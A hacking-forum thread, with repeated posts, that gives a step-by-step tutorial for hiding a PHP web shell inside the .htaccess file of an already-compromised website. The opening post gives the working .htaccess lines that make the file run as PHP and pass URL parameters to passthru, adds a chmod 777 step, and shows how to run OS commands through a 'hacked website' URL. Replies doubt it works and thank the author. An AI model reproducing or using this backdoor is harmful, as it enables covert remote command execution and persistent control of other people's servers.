Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


How to hide your shell using .htaccess filter_list
Author
Message
How to hide your shell using .htaccess #1
Today I want to show you a less known trick in which you can use .htaccess file. Already available on server as a shell to execute OS commands, so just follow the simple steps described below. This file is also useful to add restrictions on files.


Open your PHP web shell, navigate to public_html directory and search for .htaccess file, once found, click on edit option.




After clicking on the edit option, add the following lines of code in your .htaccess file.

Code:
Quote:<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

After adding your codes, save it, and done ! Biggrin

But sometimes we can't able to edit .htaccess file due to permissions provided by the administrator so we must have to change the permissions

If we get an error: .htaccess is not readable
Then use following command to change it to the readable, writable and also in executable mode.. :wink:
command: chmod 777 .htaccess

Here in above command we can see 777, The fist digit (7) is for user,
second(7) for group and third (7) is for others..!! In UNIX/Linux permissions are divided into 3 categories User-Group-Others Smile

Now in order to use your .htaccess shell


http://www.your-hacked-website.com/.htaccess?cmd=ls

After ?cmd= you can execute any OS command of your choice.
[/quote]


Thank you..!!. Confusedmoke:

Credits : Click Here
whoami;id

root
uid=0(root) gid=0(root) groups=0(root)

Reply

How to hide your shell using .htaccess #2
Today I want to show you a less known trick in which you can use .htaccess file. Already available on server as a shell to execute OS commands, so just follow the simple steps described below. This file is also useful to add restrictions on files.


Open your PHP web shell, navigate to public_html directory and search for .htaccess file, once found, click on edit option.




After clicking on the edit option, add the following lines of code in your .htaccess file.

Code:
Quote:<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

After adding your codes, save it, and done ! Biggrin

But sometimes we can't able to edit .htaccess file due to permissions provided by the administrator so we must have to change the permissions

If we get an error: .htaccess is not readable
Then use following command to change it to the readable, writable and also in executable mode.. :wink:
command: chmod 777 .htaccess

Here in above command we can see 777, The fist digit (7) is for user,
second(7) for group and third (7) is for others..!! In UNIX/Linux permissions are divided into 3 categories User-Group-Others Smile

Now in order to use your .htaccess shell


http://www.your-hacked-website.com/.htaccess?cmd=ls

After ?cmd= you can execute any OS command of your choice.
[/quote]


Thank you..!!. Confusedmoke:

Credits : Click Here
whoami;id

root
uid=0(root) gid=0(root) groups=0(root)

Reply

RE: HOW TO HIDE YOUR SHELL USING .htaccess #3
Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

Reply

RE: HOW TO HIDE YOUR SHELL USING .htaccess #4
Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

Reply

RE: HOW TO HIDE YOUR SHELL USING .htaccess #5
(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

okey... i'll edit this post with the htaccess permissions :wink:

(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

@Geoff Now read the tutorial.... Any thing u want to add??
whoami;id

root
uid=0(root) gid=0(root) groups=0(root)

Reply

RE: HOW TO HIDE YOUR SHELL USING .htaccess #6
(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

okey... i'll edit this post with the htaccess permissions :wink:

(05-03-2013, 06:01 PM)Geoff Wrote: Okay. Intrresting in theory. Have you actually tried it?you didnt mention anything about changing the htaccess file permissions... cause by default it should not be world readable.

And even if you did make the file world readable not sure the file is still executable. Id expect apache to spit an error if the file permissions are wrong/world readable.... ?

@Geoff Now read the tutorial.... Any thing u want to add??
whoami;id

root
uid=0(root) gid=0(root) groups=0(root)

Reply

RE: How to hide your shell using .htaccess #7
Nice... post.. Thanks buddy Smile

Reply

RE: How to hide your shell using .htaccess #8
(05-17-2013, 07:02 AM)MrGeek Wrote: Nice... post.. Thanks buddy Smile

Thanks for reading this tut... Smile Welcome... Confusedmiling:
whoami;id

root
uid=0(root) gid=0(root) groups=0(root)

Reply

RE: How to hide your shell using .htaccess #9
(05-17-2013, 07:02 AM)MrGeek Wrote: Nice... post.. Thanks buddy Smile

Thanks for reading this tut... Smile Welcome... Confusedmiling:
whoami;id

root
uid=0(root) gid=0(root) groups=0(root)

Reply

RE: How to hide your shell using .htaccess #10
You gave the credits as Blogspot. Shouldn't you give the complete link from where you learnt this method and took reference. However you have given credits and thats a nice job
[Image: OilyCostlyEwe.gif]

Reply